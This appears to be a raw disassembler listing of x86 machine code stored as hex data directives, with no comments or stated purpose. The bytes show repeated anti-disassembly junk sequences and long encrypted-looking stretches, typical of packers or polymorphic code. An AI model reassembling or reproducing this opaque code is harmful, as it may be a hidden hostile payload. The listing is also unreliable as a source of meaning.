		dd 8B000000h, 14078DBDh, 69958B06h, 6A06142Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 1AACC350h, 0E2FC07FCh, 29FFDB6Fh, 141C218Dh,	2FDF8106h
		dd 8318C95Ch, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0E03A0CC3h, 8EF2ABE2h, 6A205089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 82BC357h,	9E786E88h, 8D4149BDh, 17BC2385h
		dd 0ABB6606h, 0B886894Ch, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 71B1C355h
		dd 0F9DBF60h, 6A6101B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B4DCD44h, 0B5FF91B5h
		dd 617A7EAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0EFC35646h, 47C55B7Ch, 33AD95FFh, 5E90614h, 6B000000h
		dd 0FCDCBD43h, 8972B350h, 1EB32434h, 0A7EAB5FFh, 0F88A0617h
		dd 230995FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0DD6622C3h, 2916CCCDh, 1420059Dh
		dd 89BD8306h, 61411h, 6C840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0E92735C3h
		dd 0Fh,	0ACF63B33h, 8D1ABFE2h, 0FC175BAh, 0E9963367h, 11h
		dd 630E6EA6h, 7FB21A42h, 54BD0B35h, 3B2DF8C1h, 4D9D8B38h
		dd 96061407h, 5050D98Bh, 9E952h, 0CC100000h, 4610F6Bh
		dd 0F404E54h, 0D98B6631h, 8096585Ah, 0B5FF65E3h, 617A7EAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7C35242h
		dd 13D61DCBh, 0EC9F3F2Bh, 7585093Ch, 66061426h,	0FF6A8EBBh
		dd 1402D595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0F38166A3h, 0BD01893Ch, 6140979h
		dd 18F59D8Bh, 0B5FF0614h, 617A7EAh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 0CEE1D7D0h, 0AB657A3Ah
		dd 7595FF0Fh, 8A06140Bh, 5BD8BDDh, 83061417h, 14112DBDh
		dd 840F0206h, 46h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 91C35545h, 531623h, 57CC1CDFh, 7F8DBBAFh
		dd 8A606D79h, 5B5760D9h, 61615852h, 55858Bh, 8B660614h
		dd 0C6F9h, 501B589h, 85C70614h,	6141E49h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A4C35646h
		dd 47D786BBh, 8E0F9A36h, 5, 4D681EBBh, 9D2B606Eh, 61403DDh
		dd 0E961C18Bh, 0FFFFF242h, 0C18BDF8Bh, 1EA5BD8Bh, 858D0614h
		dd 6140791h, 6E9h, 0BE3DCF00h, 50BA8854h, 6A42BB66h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0DF55C350h, 0E90E311Bh, 7, 0BC0F90C4h, 6A8ADC43h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 465F0808h, 96C5C8E4h, 0EB810A63h, 23F1C060h
		dd 34D59D89h, 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0AC35242h, 530F785h, 50C780B4h, 0E527858Dh
		dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 6A9772C3h, 83C60736h, 858D89C6h, 83061400h
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CCBD33C3h, 759B85E6h, 50FCA6B8h,	489D88Bh
		dd 0D3816624h, 6A023Dh,	0CEDB8166h, 6A006ABEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6C3FC356h, 0BD2E0F12h, 0FF89B7D9h, 141B1995h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 88C44A2Eh, 14870F8Ah, 60000000h, 0AE9h, 45E33900h, 0AFE1862Dh
		dd 6693A978h, 0F961C18Bh, 0A7788D8Dh, 0D1FF0617h, 0F98B6653h
		dd 0CDBD835Bh, 1061401h, 61850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 3949EC3h
		dd 663FF9DFh, 26AFE8Bh,	50FE8B66h, 89FE8B66h, 29512404h
		dd 140D498Dh, 810F5F06h, 17h, 0EE8h, 818E1E00h,	9783CD4Ah
		dd 3F7C3335h, 66BCC6E6h, 0FF5FDE8Bh, 1433AD95h,	0FDBD8B06h
		dd 0E9061423h, 0D07h, 0E8h, 0ED815D00h,	618E531h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E8C35646h, 0EE9h
		dd 2B599100h, 0CACD9B7Dh, 0BDBDEAFFh, 8D82D4E6h, 178E4985h
		dd 0A99D8B06h, 81061433h, 9F6925CFh, 0E8509037h, 13h, 0ADFA6DAEh
		dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 5B094240h, 0B58D2990h
		dd 64061404h, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 60179FC3h, 258964h, 1000000h
		dd 142BA1BDh, 0ED85FF06h, 6A06142Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A56BC356h
		dd 0BB0F671Bh, 60065DADh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 13734BC3h, 6E9h, 0EC63E000h
		dd 0FF448180h, 1404B1B5h, 88F0F06h, 57000000h, 9A98D89h
		dd 35B0614h, 141BB19Dh,	8995FF06h, 0E906142Ah, 0F3h, 16E98D31h
		dd 0B00614h, 0BF99589h,	70E60614h, 2DE7EB81h, 71E44317h
		dd 830F613Ch, 0D3h, 29C8B60Fh, 1408D5B5h, 6BA06h, 0C18B0000h
		dd 4519D33h, 0E8C10614h, 0E4BB6604h, 0BE8AEh, 0C1030000h
		dd 0AFC6F8Dh, 2129C9C2h, 5BF98A35h, 0E8E2F766h,	14h, 4EC3A787h
		dd 80261435h, 1F83157Bh, 76401CB3h, 22838245h, 20A59D0Bh
		dd 2B5B0614h, 85BD0BC8h, 8B061410h, 6D8589D1h, 0E906142Dh
		dd 6Bh,	492E16BBh, 4858B3Dh, 89000000h,	141E118Dh, 7C08306h
		dd 0E129BB66h, 8B00C083h, 142C7DBDh, 0FD03B06h,	1A83h
		dd 8E900h, 98C20000h, 0C366151h, 30E96B1Ch, 56000000h
		dd 19ED9529h, 8B5F0614h, 0FFFFFF8Dh, 1E183FFh, 19840Fh
		dd 0A5830000h, 0FFFFFFFFh, 0FBB70FFEh, 49589h, 0BB660000h
		dd 0E9DC7Eh, 8D000000h,	1856E2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0D50C45A0h
		dd 4D9E8818h, 6850Fh, 880F0000h, 0
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 199A0AC3h, 0DB60B255h, 95FF296Eh,	6142971h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 81C35747h
		dd 89E38023h, 0E8DEB70Fh, 0Ch, 0EA2990CEh, 0C8264CA7h
		dd 7AFED267h, 0FE8h, 0DD347D00h, 4B1EFCC3h, 0B2234DD5h
		dd 32717F0Eh, 94DBD89h,	5F5B0614h, 1006B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0F2E6B329h, 39C56DFBh, 12899D89h, 0E1830614h, 0F8BF0FFCh
		dd 65BD8Bh, 6AFC0614h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D5E3C357h,	248DBD89h
		dd 0B80614h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 315CC356h, 0BFADC689h
		dd 50EA84A8h, 0BAh, 0F88B6600h,	0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 4FADBF66h, 880Dh, 1B870F00h, 0E8000000h
		dd 13h,	3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 0B77A2C2Fh
		dd 958B5B3Bh, 6142B69h,	10558D8Bh, 0BD8B0614h, 614064Dh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BF0F5818h
		dd 0C1BF66D9h, 4DBD83C5h, 6140Fh, 6A840Fh, 9E90000h, 99000000h
		dd 2BB05BE9h, 8D6CD09Ah, 0B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66DA318Fh
		dd 8B4BC381h, 4DFF8D8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F1680DC3h, 5F0ED217h
		dd 399D014Ch, 0FF06141Ah, 0DE8B66E1h, 13DBD83h,	0F000614h
		dd 46A84h, 3DBD8300h, 1061401h,	478840Fh, 0FC600000h, 61D98B66h
		dd 0EE9h, 0DA817E00h, 240BD605h, 5A0C74B5h, 83E7C6F3h
		dd 14013DBDh, 860F0306h, 41Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 4FC35343h, 7F8448F6h, 0C913BB66h
		dd 0FA8B6660h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C4B1C352h,	66B2CE69h
		dd 0E180DA8Bh, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0BA29160h, 9FF202F0h
		dd 41BD3179h, 0F06140Ch, 1F80h,	13E800h, 287E0000h, 4961BA91h
		dd 1024C83Dh, 0BF0755FCh, 0BBF471E9h, 75B589B6h, 5B06140Eh
		dd 840FC90Ah, 14Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0CDC35646h, 0B47ABB66h, 0E35858Bh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8BAAF2C3h, 1404EDBDh, 0A9853306h, 6A061406h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8B97C356h, 0B5893524h, 61424F9h, 8B525090h, 66310FDFh
		dd 5A383CBBh, 0BF665058h, 8B901274h, 143109BDh,	6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3B2BC350h, 0BEE73D4Eh, 43840C5Eh,	9248DD68h
		dd 50605646h, 5A310F52h, 61585658h, 2434815Fh, 468D4B22h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9BC35040h
		dd 0F6B8A5B6h, 6F2FC5B3h, 8B66DE8Ah, 9D95FFDFh,	6A061408h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B687C356h, 0E073CAE9h, 9D8B60A5h, 61410C1h
		dd 5810Fh, 6AB90000h, 61061E8Fh, 6800Fh, 0BD310000h, 61434EDh
		dd 0A7EA8589h, 0BB660617h, 0BEE91A68h, 0F8000001h, 0A7E2858Bh
		dd 85890617h, 6140F39h,	1800C7h, 95890000h, 6140BFDh, 0A7E6B58Bh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A7E527C3h, 858B34F1h, 6140281h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 93C35646h, 9D607C6h
		dd 1431A195h, 689F906h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0BCC35242h, 0AD4BB669h, 2B79E2AEh, 2B3FBB5Dh
		dd 858B4A60h, 6140E35h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 5C35242h, 0E99D2B65h,	8906141Ch, 8D890446h
		dd 6143165h, 0A296BB96h, 0E9501414h, 13h, 5BC109A4h, 20444428h
		dd 0C6092352h, 0F2D1492Dh, 9604834Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 98C35040h, 58EE4AF8h, 0E8A239D2h
		dd 5, 50178F5Ah, 6D9D8BF0h, 5B061409h, 0A7E2B5FFh, 85890617h
		dd 6140529h, 31275768h,	0B5BF66FAh, 240481ABh, 5EDDCA8h
		dd 8E9h, 87849000h, 623F18E2h, 0EA858D91h, 6A0617A7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A572C353h, 823AC63Ch, 0BB66C932h, 0F907193h, 58Dh
		dd 8B665000h, 8B505FDEh, 0D38090FAh, 9D95FF41h,	6A061408h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F4C6C350h, 0FBAE64D6h, 0F035939h, 88Fh
		dd 0E1816000h, 76ABB997h, 0F536161h, 81h, 85C75F00h, 614013Dh
		dd 3, 2E59D8Bh,	0BD830614h, 617A7EAh, 45840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 53F3C352h, 3CE90DB7h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6DC7C356h, 0FC0E4619h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 82CC353h, 1B018589h
		dd 0BD8B0614h, 614124Dh, 2FB98D09h, 0BD830614h,	614013Dh
		dd 0B1850F03h, 89000003h, 140CB5B5h, 0EABD8306h, 617A7h
		dd 39E840Fh, 0FFFC0000h, 17A7EAB5h, 29858906h, 0FF061412h
		dd 14033995h, 29958906h, 8B06142Fh, 17A7DEB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 71BD8B51h, 0C7061413h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B70FD0A9h
		dd 0AE850DFh, 0BB000000h, 34D295C1h, 6C13D118h,	81BF6686h
		dd 34895B6Fh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 241D61C6h, 0C25EDC97h, 0BD897ED5h
		dd 614238Dh, 0A7EAB5FFh, 8B660617h, 8195FFDAh, 0B3061410h
		dd 0EDB58973h, 8B06141Ah, 17A7DEB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 424814C7h
		dd 0BF66DEC1h, 858BE1BBh, 6140FF9h, 9E9B589h, 86890614h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3BC35747h, 0F91C1A4Ch
		dd 8D78534Eh, 0FABF0FA0h, 2B99BD8Bh, 958B0614h,	6142B69h
		dd 83D88B66h, 335704C2h, 140795BDh, 50895F06h, 55006A20h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 21C370B4h, 9D8BC70Fh, 6141B35h, 0A3C1BF66h, 0BC23858Dh
		dd 860F0617h, 10h, 8E8h, 0AB8EA800h, 42E6437Eh,	5B6160BFh
		dd 68B0Fh, 0B5890000h, 614231Dh, 0B88689h, 0BD8B0000h
		dd 6140479h, 0C3816657h, 6A5B8611h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0EAB5FFBBh
		dd 8B0617A7h, 141AE19Dh, 0DBD8B06h, 0FF061423h,	1433AD95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9D297AC9h, 614001Dh, 0FE8B6696h,	29BF6650h
		dd 6A9639h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0DFB996C3h, 29BE4C9Fh, 141639BDh,	0EAB5FF06h
		dd 890617A7h, 140321B5h, 995FF06h, 80061423h, 0BD8300DFh
		dd 6141189h, 6C840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A8D9C357h
		dd 893980F4h, 140CFD85h, 850F5006h, 15h, 7E860h, 0EC2A0000h
		dd 0B96D6719h, 880F5804h, 0
aAi4J		db 'a‰4$j',0
		dw 0E851h
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0DC35141h, 0C0BAB666h
		dd 19852936h, 0FF06140Ch, 17A7EAB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B1487981h
		dd 88F2D5EEh, 94C78166h, 0D595FF8Fh, 1061402h, 142B658Dh
		dd 5E96006h, 0A8000000h, 553DC445h, 0FF61CA8Bh,	17A7EAB5h
		dd 25958906h, 0FF061404h, 140B7595h, 48C0F06h, 66000000h
		dd 8B7BC1BFh, 140B95BDh, 2DBD8306h, 2061411h, 23840Fh
		dd 0B5290000h, 61404FDh, 55858Bh, 2B510614h, 14190D9Dh
		dd 8D895F06h, 61417C1h,	810000C6h, 42B1AED7h, 4985C759h
		dd 6141Eh, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1F41C356h, 0FE8A1h, 0B6C10000h
		dd 63C9AC73h, 0BB864767h, 29C3B808h, 66CF816Bh,	5F7563FAh
		dd 0FFF403E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 17F67467h, 0BBB43181h
		dd 12B687D1h, 28D0F51h,	8B000000h, 0C18B5BF9h, 86DA40BFh
		dd 41BD8B57h, 0E9061425h, 1Eh, 62C1F9F3h, 6 dup(0)
		dd 3AE90000h, 3C000005h, 128D910Ch, 0EF78BCF1h,	0FA65A9E4h
		dd 0D24DD1CCh, 0B13AFEB3h, 6518379Fh, 8C0906A1h, 0B8F31F88h
		dd 0A2D9EB74h, 6FC8335Eh, 55E860DCh, 3A413C57h,	9983910Ch
		dd 6366567h, 9DAC4A79h,	486CE8E0h, 72295BC4h, 7A03055Ah
		dd 0E8F46741h, 7D8DB16Ah, 3557E1E2h, 6E2A2246h,	0F645E25Dh
		dd 0D53F087h, 12501709h, 2B0BF005h, 0DCEB02E9h,	5C2FF3AAh
		dd 6483FE0Dh, 0B81C2C69h, 0EEA9A57Ah, 0D75887DDh, 66B0A77Dh
		dd 4F7BE4ACh, 2E5B2454h, 0CDC04777h, 0E41491BEh, 0A6CD9260h
		dd 39C26B67h, 2082CF4h,	783556D1h, 0ADBBD054h, 9D29B600h
		dd 11CE4411h, 2D8CBCEFh, 53F0E811h, 282A412Eh, 85950702h
		dd 6B9Ch, 188B1800h, 0E0415148h, 17569A8Dh, 53F0D324h
		dd 8259DBBFh, 0BCFD0D80h, 53F0D383h, 0BAB8DFB0h, 8594CD74h
		dd 102h, 0FD8BAE00h, 6EADD18Ch,	24FB39ADh, 0D526A23h, 0F68981FCh
		dd 0D2ADDDD8h, 0BDC2FAB7h, 31E71792h, 77B06B82h, 53F0E1C4h
		dd 73D7FB5Fh, 2D5E6D84h, 4FE85B70h, 53F0E1FCh, 80F4B1DCh
		dd 25C276BCh, 6EA46823h, 5356867h, 2454497Ah, 1F2E45F2h
		dd 0EE79BDF0h, 732E5ADCh, 0A3DBFF5Bh, 0C7F4B1DCh, 1E1489B8h
		dd 0BD2813AEh, 0F092C170h, 0A9980553h, 2A53F092h, 0DDEE5226h
		dd 0F092E150h, 141E6253h, 1CD22077h, 9A85948Bh,	5Eh, 4952D9AFh
		dd 49761A07h, 686741CBh, 4F7A0535h, 0BCD115A0h,	1236A8D5h
		dd 9AF15EFAh, 2ACCF887h, 0EE6A621Fh, 749348CAh,	5B6AF539h
		dd 3B491626h, 6AF54840h, 0A39F703h, 3FA58595h, 73000000h
		dd 5356867h, 3B534E7Ah,	3E4D1C0Fh, 833D4B43h, 95AE28FEh
		dd 3AC15377h, 1895B4D3h, 6667DE14h, 0A4A60737h,	9953F092h
		dd 8D539FF6h, 2985948Ch, 0Ah, 6D07263Eh, 4D1D942Eh, 6C675DC7h
		dd 924AF926h, 45C953F0h, 34562921h, 17C64179h, 0CBC6C100h
		dd 0C3D3A0B0h, 32E855F6h, 0B15030E0h, 0F507DC39h, 87AB22F0h
		dd 0AD9C1974h, 2653F0DFh, 64D7D022h, 0A4B715ECh, 0B09FBD0h
		dd 0DCC24C8Ah, 0AAA1A549h, 28FEB5D3h, 5C5CC2F5h, 0A7070D63h
		dd 0C4F7A6D8h, 187DCC69h, 0BC5455E4h, 0F7D18FD6h, 4AC84C00h
		dd 5C6EFD8Eh, 0A3CD321h, 0CEE87893h, 0E6B2E5C6h, 4B091C97h
		dd 0DECA1FD5h, 27310C48h, 44CE1B17h, 0D0043978h, 0C00F55E4h
		dd 35689AA9h, 595476F1h, 72295B22h, 0D06DDC59h,	62E655E4h
		dd 394B1490h, 0A39C4A42h, 0C5F5B0DCh, 0EEABA641h, 0FD304724h
		dd 1727626Eh, 98AA61B3h, 136A21E5h, 819249F2h, 0EF9438A7h
		dd 0DD57B3CBh, 0A987EF3Dh, 1578F8Bh, 80250000h,	47E01B61h
		dd 49DC90C7h, 0B7245438h, 9068DB44h, 454055E4h,	0E0D43048h
		dd 0C7F9969Ch, 0B5D750D4h, 645B6C6h, 187C8C09h,	29AA8A06h
		dd 0A66C67B5h, 94A4D7E9h, 8FBED562h, 0D8D3F57Dh, 0FC0024A0h
		dd 0A9188A50h, 69148Bh,	80800000h, 43EC1F65h, 0D3F09290h
		dd 7F3A5514h, 3949CB4Fh, 0B5842555h, 62D3F092h,	759096FDh
		dd 0F5BB44FDh, 3155AD82h, 0F33CAF1Ah, 0D3F01040h, 6C205D68h
		dd 0DDEAFE1Ah, 82CF37Dh, 0BD88B0Ah, 371B53F0h, 58054C04h
		dd 7BDB2214h, 0FB82F9B9h, 0E958C5C9h, 6A53F023h, 4ECAC2E6h
		dd 2341F03Dh, 7EC253F0h, 0A3AAB4h, 80C00000h, 47E01B61h
		dd 49DC6A83h, 64FB1074h, 0AC1F2F66h, 0E49A3003h, 0ABCFB355h
		dd 25D69h, 0E1EF7E8Dh, 3FA868AAh, 0CF6E9E0Dh, 55E49B71h
		dd 996017Ah, 55E49B3Ah,	0B05FD5B9h, 65182A59h, 7400E1A1h
		dd 900D3847h, 95161C78h, 0CD890D08h, 2D5A214Fh,	0C246A270h
		dd 62D15EC9h, 0A65FDC69h, 0DC69CA79h, 0F1C5495Fh, 5827878Dh
		dd 8A548526h, 40989975h, 32532C5Ch, 0D3C437Bh, 7FE07890h
		dd 0EED1218h, 133534E7h, 770C8698h, 0ABDEFCA7h,	0C0B45569h
		dd 65EB6ACBh, 384745F5h, 1C78900Dh, 0AA6ED216h,	1B618068h
		dd 80C047E0h, 403B49D9h, 0E86054E7h, 4A434455h,	0A7DAE976h
		dd 0EB0F3397h, 57889D0h, 238391F5h, 0AF732A5Ch,	6F9F0E30h
		dd 819E5CCEh, 920F3EEEh, 0ACE7E57Ah, 0C62D6A9Ch, 0D83F987Ch
		dd 0F01F97A9h, 0E5098DBDh, 0F7136A21h, 0A088CBCh, 40783355h
		dd 27B8CD3h, 0D7848E0Ah, 4DCAC2B9h, 467887EEh, 3254D357h
		dd 371437Bh, 0FF000000h, 6767A68Ch, 497B0434h, 29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 681F2757h, 6DA8h,	68243489h, 2A22h, 57240C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	5B682434h, 8B0618F2h
		dd 0C483240Ch, 348B5404h, 4C48124h, 51000000h, 95243481h
		dd 8F2B8F46h, 0B8500846h, 0C9B43D8h, 922DD0F7h,	31C7D575h
		dd 8B580846h, 89512434h, 4C181E1h, 83000000h, 0C8704C1h
		dd 34FF5C24h, 0C4815924h, 4, 0FB8953E9h, 2FF445FFh, 863B23E4h
		dd 0F717B857h, 0C5030618h, 2AFE0FFh, 8B6D0DD9h,	51317C17h
		dd 84A82CE4h, 0AD9C29EEh, 0DB562598h, 364D7198h, 0A6A67B75h
		dd 365D016Dh, 8CBC0092h, 0E4096E09h, 1DA90BFAh,	26B23B77h
		dd 858D23D0h, 6140791h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D4C35141h, 0AC4BC82h, 0EF3B6A1Ah, 9BD8529h
		dd 0F900614h, 158Eh, 0CE800h, 5BBB0000h, 2C0868Ah, 0F9D11EA2h
		dd 8B66C2A9h, 50505FF9h, 10E952h, 1C170000h, 0C31FD384h
		dd 500F906h, 8F4E7DC4h,	310F83BBh, 0E990585Ah, 10h, 5267489Fh
		dd 6448D630h, 0F28EB1E8h, 66414DD3h, 0DB80006Ah, 6A006A2Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0D579C357h, 402EA8A3h, 0FB9BE48h,	280h, 8DCFB700h
		dd 18FA1085h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0EFBBBB27h, 81F7C5CBh, 372AC5DBh
		dd 5C0833Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0EEC35343h, 0CE803399h,	0FEB3EABh, 688h, 0BA666000h
		dd 506175DFh, 2830Fh, 5F520000h, 89240489h, 1411F58Dh
		dd 0F8006A06h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 897329C3h, 8BB02FC0h, 141CE99Dh
		dd 1995FF06h, 6A06141Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F36CC356h,	65676130h
		dd 0A9B58936h, 8D061419h, 17A7788Dh, 8B66FC06h,	8BD1FFFEh
		dd 0CDBD83D8h, 1061401h, 0A6850Fh, 26A0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EAC35646h, 0E8E12989h
		dd 0DE8B66C4h, 1C6D9D8Bh, 0E8900614h, 0Ah, 0ADF0FC3Dh
		dd 0CC8E03B5h, 52501909h, 310F5250h, 310F585Ah,	0C72599BBh
		dd 5F585A2Fh, 4C14BB50h, 6A907850h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 644DC352h
		dd 51F3BB9Fh, 59BD01CAh, 0FF06140Ch, 1433AD95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 14893FC5h, 1C2D6B5Ah, 0CE0E9h, 0E800h, 815D0000h, 18FA1AEDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 15D3DFCh, 0D72894EDh, 0DABF0F29h, 8E49858Dh
		dd 8BF90617h, 2BBB50DEh
		dd 894A56F1h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 15EBE4C3h, 35FF6433h, 0
		dd 258964F5h, 0
		dd 8E9h, 0AE45CA00h, 0B5472C0Ah, 0ED85FF35h, 6606142Dh
		dd 3EEBE381h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 50F18BC3h, 97184CAh, 8589C934h
		dd 6140D89h, 2501B5FFh,	0BD890614h, 614252Dh, 1F358529h
		dd 95FF0614h, 6142A89h,	0FFE9h,	0B59D8B00h, 0B006140Ch
		dd 9D89F900h, 6140E21h,	816670E6h, 0E435F6DBh, 0CABB6671h
		dd 0F613CDEh, 0DB83h, 13E900h, 0E0910000h, 91AC393h, 636BD0AFh
		dd 0B7027F49h, 42B903EEh, 0C8B60F88h, 6860Fh, 9D8B0000h
		dd 6141B71h, 6BAh, 0D7816600h, 0C18BD2B1h, 1CD19589h, 0E8C10614h
		dd 0D9B58904h, 66061424h, 53BBE2F7h, 2B5A7C5Fh,	8B22B3C8h
		dd 86E9D1h, 0DE90000h, 45000000h, 3C9C6EA4h, 75F9D56Fh
		dd 0A656974Eh, 4C44858Bh, 0BD8B5F4Ch, 61430F1h,	6607C083h
		dd 3EEEF781h, 8A00C083h, 0FD03BDEh, 1083h, 0F5DE8B00h
		dd 4BE9h, 85016000h, 6140E11h, 0FF8D8B61h, 0E9FFFFFFh
